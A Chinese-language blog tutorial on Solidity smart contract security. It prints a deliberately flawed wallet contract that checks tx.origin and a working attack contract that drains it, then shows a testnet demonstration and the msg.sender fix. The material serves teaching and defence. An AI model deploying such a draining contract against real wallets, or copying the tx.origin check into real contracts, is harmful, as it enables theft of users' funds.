区块链合约安全系列（一）公链合约权限校验引发的严重安全问题区块链

id:BSN_2021
公众号：BSN研习社

背景：由于公链环境下所有的信息都是共享的，智能合约相当于是透明的，任何人只需知道其地址就可以调用内部的方法，所以开发者在开发合约时，逻辑判断一般会添加一下权限的校验，以提高其安全性。但是有时候对其了解不深，会带来一些潜在的隐藏bug。
目标：验证当合约内部使用 tx.origin 做权限校验时，攻击者可以绕过逻辑约束进行资金盗取。
对象：适用于用Solidity语言开发的智能合约，例如BSN中的武汉链(基于ETH）和泰安链（基于 fisco bcos）上运行的智能合约。

环境准备
?两个合约文件，一个为用户钱包合约（TxUserWallet ），另一个为攻击钱包合约（TxAttackWallet ）。
?两个账户，分别为以上两个合约的owner。预制为 TxUserWallet owner:
0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9
TxAttackWallet owner:
0x5adaCf91A3C4e9a7541f0dA89dC575354C075941
合约文件_TxUserWallet.sol_如下图所示：

// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; // THIS CONTRACT CONTAINS A BUG - DO NOT USE contract TxUserWallet { address owner; event Deposit(uint256 balance); constructor() payable { owner = msg.sender; }function supplyFunds() payable public { emit Deposit(msg.value); }function transferTo(address payable dest, uint amount) public { // THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin require(tx.origin == owner); dest.transfer(amount); }function balanceOf() public view returns(uint){ return address(this).balance; }function withdraw() public { payable(owner).transfer(address(this).balance); }}

合约文件_TxAttackWallet.sol_如下图所示：

// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; interface TxUserWallet { function transferTo(address payable dest, uint amount) external; }contract TxAttackWallet { address payable owner; TxUserWallet userWallet; constructor(TxUserWallet userWalletAddr) { owner = payable(msg.sender); userWallet = userWalletAddr; }function balanceOf() public view returns(uint){ return address(this).balance; }receive() external payable { userWallet.transferTo(owner, address(userWallet).balance); } }

合约部署
使用remix分别部署两个合约
1.部署合约TxUserWallet的过程截图

文章图片

合约部署成功的截图如下

文章图片

部署合约TxAttackWallet 的过程截图
注意：部署的时候需要将“用户钱包合约的地址”进行预制，用于后续攻击时使用。

文章图片

合约部署成功的截图如下

文章图片

攻击测试
攻击原理为诱骗合约TxUserWallet的owner对合约TxAttackWallet进行转账操作。因为技术上当合约TxAttackWallet接受ether时会触发receive()方法，从而进行对TxUserWallet合约进行盗取ether。

为方便做对比，我们在转账操作之前先截图一下用户钱包合约以及攻击合约的owner的账户余额

文章图片

文章图片

现在使用TxUserWallet 的owner账户对合约TxAttackWallet进行转账操作。即使用账户0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9向合约账户0xB50cF0e11aA2dA0F4f0E95841a4F1514F81015fd转账0.001（金额任意）。

文章图片

转账交易记录 https://ropsten.etherscan.io/...
转账操作成功后，我们来查看一下TxUserWallet拥有的0.00002 Ether是否被盗取了，截图如下

文章图片

上图可以看出余额已变为零，接下来看一下TxAttackWallet的owner账户余额，截图如下

文章图片

上图可以发现一笔0.00002 Ether转账记录，同时对比余额变动，至此已盗取成功。
结论
综上发现，当我们使用tx.origin做校验时，得到的是_交易原始签名地址而不是攻击合约的地址_，从而绕过了业务约束逻辑，将所有资金进行了转移操作。
【区块链合约安全系列（一）公链合约权限校验引发的严重安全问题】另外，那如何进行修复呢？只需要将tx.origin改为msg.sender去做校验即可。有兴趣的可以试一下。